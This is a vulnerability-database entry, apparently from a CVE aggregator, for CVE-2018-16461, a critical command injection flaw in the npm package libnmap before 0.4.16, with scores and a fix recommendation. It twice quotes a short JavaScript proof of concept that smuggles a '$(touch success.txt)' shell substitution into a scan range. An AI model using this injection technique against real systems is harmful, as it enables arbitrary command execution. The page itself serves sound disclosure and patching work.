Every CVE Search/ Get API key

CVE-2018-16461

Command Injection in libnmap

9.8 CriticalFix available

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

3.85%Up 3.4 points since Apr 14, 2021
90%50%10%1%

What each source reports

NVD Score used 9.8

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Record
CVE-2018-16461
CVSS 3.0
9.8 CriticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2.0
10.0 HighAV:N/AC:L/Au:N/C:C/I:C/A:C
Weakness
CWE-77, CWE-78
Updated
2026-11-02
CVE List No score

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Record
CVE-2018-16461
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2018-0734 No score

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Record
EUVD-2018-0734
Updated
2026-11-03
GitHub AdvisoriesGHSA-7g2w-6r25-2j7p No score

Command Injection in libnmap

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Record
GHSA-7g2w-6r25-2j7p
Weakness
CWE-77
Updated
2026-11-02
OSV 9.8

A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Record
CVE-2018-16461
CVSS 3.0
9.8 CriticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-7g2w-6r25-2j7p No score

Command Injection in libnmap

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Record
GHSA-7g2w-6r25-2j7p
Weakness
CWE-77
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
libnmap
npm
before 0.4.16
0.4.16

History

History
RecordedChangedSources
aliases, productsEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2018-16461 is a critical vulnerability (CVSS 9.8) in Libnmap, published October 30, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 3.85%, the 90th percentile. Fixed in libnmap 0.4.16.

References

MoveEnter Open